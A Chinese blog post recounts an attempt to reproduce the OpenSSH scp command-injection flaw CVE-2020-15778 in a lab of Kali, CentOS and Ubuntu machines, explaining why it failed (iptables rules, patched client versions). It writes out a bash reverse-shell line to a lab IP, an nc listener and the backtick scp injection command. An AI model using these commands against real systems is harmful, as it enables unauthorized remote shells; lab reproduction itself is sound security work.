今天给公司电脑漏扫的时候发现了CVE-2020-15778漏洞,于是就想按网上的操作说明漏洞复现一下试试,结果无论如何怎么尝试都失败。主要过程如下:
一、失败过程
渗透:kali 2020.3 :192.168.155.168
kali2022.2. : 192.168.155.165
靶机:centOS7 :192.168.155.167
ubuntu20.04 :192.168.155.166
刚开始测试时参考连接:
CVE-2020-15778 Openssh-SCP 命令注入漏洞复现报告 - 腾讯云开发者社区-腾讯云
CVE-2020-15778漏洞复现 - ch4nge - 博客园
按照上面的说明
先在靶机上安装iptables,然后openssh(CentOS自带、ubuntu需要下载安装),完成后按照步骤开始测试。
1.首先ssh看下,正常。
2.按照教程所说,在靶机上先iptables -F清除所有策略,再执行 iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP增加ssh端口禁用策略,最后iptables -L -n --line-number查看策略是否生效。
3.按教程先新建一个内容为bash -i >& /dev/tcp/192.168.200.168/6666 0>&1的脚本,测试用scp将脚本复制到靶机/tmp目录,成功。
再用ssh测试一下靶机
输入密码后就无回显了
4.开始命令注入,现在kali上输入nc -lvp 6666监听刚才脚本里写的反弹端口。然后用scp命令构造命令注入语句,这里写法比较多,总的意思反正就是让终端去执行``里的内容。这里我用(我在hosts里添加了主机名,把主机名替换成IP即可):
scp 123.sh root@centos7:/'sh `/tmp/123.sh`'
可以看到靶机毫不犹豫的拒绝了我的连接。。。。
5.问题分析
看这个回显觉得应该是iptables在起作用了,这里有命令注入的连接的时候直接拒绝了,把iptables策略清除再试一下。
输入密码后,成功
由于靶机是不自带iptables的,这里的iptables是我临时用yum下载安装的,但是可能版本已经更新,对命令注入的这方面已经进行了优化。
6.再使用kali2022.02的靶机(192.168.155.165)进行测试 。
直接提示没有此目录,失败。
7.问题分析
靶机的iptables已清除所有策略,但查看kali2022的ssh版本如下:
CVE-2020-15778的漏洞影响范围是8.3p1以下所有版本。看来他们在新版本中对发起端也进行了命令校验。所以渗透机如果使用8.3p1以上版本的ssh做测试也是不行的。。。。
8.吐槽
这个漏洞折腾了我两天时间,漏洞利用的门槛较高,需要知道靶机的用户名和密码,而且在新版本的这些ssh、iptable中均对该漏洞进行了修复,利用难度增加。总结下来我真实觉得这个屁漏洞没什么蛋用。